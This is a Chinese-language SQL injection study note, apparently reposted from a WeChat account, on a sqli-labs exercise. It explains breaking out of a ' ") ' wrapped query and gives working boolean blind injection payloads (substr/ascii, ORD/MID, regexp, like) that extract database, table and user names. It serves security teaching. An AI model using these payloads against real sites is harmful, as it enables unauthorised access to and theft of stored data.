sqli学习笔记-05
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
正文
我们使用?id=1"
注入代码后,我们得到像这样的一个错误:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB/MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
这里它意味着,代码当中对 id 参数进行了 “” 和 () 的包装。(应该是类似这样子的:$sql="SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1";
, 其实就是?id=1"
中的"将select前面的"闭合)
所以我们再用这样的代码来进行注入:
?id=1")--+
这样一来,我们便可以得到用户名和密码了,同时后面查询也已经被注释掉了。
在源代码中的 SQL 查询语句应该类似如下:
$sql="SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1";
可以成功注入的有:
") or "1"=("1
") or 1=1 --+
其余的 payload 与 less2 中一样,只需要将 less2 中的 ' 更换为 ")
补充知识
盲注
何为盲注?
盲注就是在 sql 注入过程中, sql 语句执行选择之后,选择的数据不能回显 到前端页面.
此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
由lesson1可以知道,我们可以知道盲注分为三类:
-
基于布尔 SQL 盲注 -
基于时间的 SQL 盲注 -
基于报错的 SQL 盲注
基于布尔 SQL 盲注-(构造逻辑判断)
可以利用逻辑判断进行:
截取字符串相关函数解析见上一讲(sqli学习笔记-04)
-
left(database(),1)>'s'
//left()函数
这里解释一下: database()
显示数据库名称, left(a,b)
从左侧截取 a 的前 b 位
-
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+
//substr()函数,ascii()函数
substr(a,b,c)
从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值
-
ascii(substr((select database()),1,1))=98
-
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
//ORD()函数,MID()函数
mid(a,b,c)
从位置b开始,截取a字符串的c位
Ord()
函数同ascii()
,将字符转为ascii值
-
regexp 正则注入
用法介绍:select user() regexp '^[a-z]'
;
这里解释一下:
正则表达式的用法,user()结果为 root,regexp 为匹配 root 的正则表达式。
第二位可以用select user() regexp '^ro'
来进行。
当正确的时候显示结果为 1,不正确的时候显示结果为 0.
示例介绍:
I select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
IIselect * from users where id=1 and 1=(user() regexp'^ri');
通过if语句的条件判断,返回一些条件句,比如if等构造一个判断。根据返回结果是否等于0或者1进行判断。
IIIselect * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
这里利用 select 构造了一个判断语句。这里只需要更换 regexp 表达式即可
'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE
如何知道匹配结束了?这里大部分根据一般的命名方式(经验)就可以判断。但是如何你在无法判断的情况下,可以用table_name regexp '^username$′
来进行判断。
^是从开头进行 匹配,$是从结尾开始判断。更多的语法可以参考 mysql 使用手册进行了解。
这里思考一个问题,table_name有好几个,我们只得到了一个user,如何知道其他的呢?
这里可能会有人认为使用 limit 0,1
改为 limit 1,1
.
但是这种做法是错误的,limit 作用在前面的 select 语句中,而不是 regexp。那我们该如 何选择。其实在 regexp 中我们是取匹配 table_name 中的内容,只要 table_name 中有的内 容,我们用 regexp 都能够匹配到。因此上述语句不仅仅可以选择 user,还可以匹配其他项
-
like 匹配注入
和上述的正则类似,mysql 在匹配的时候我们可以用 ike
进行匹配。
用法:select user() like 'ro%'
往期回顾
原文始发于微信公众号(迪哥讲事):sqli学习笔记-05
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论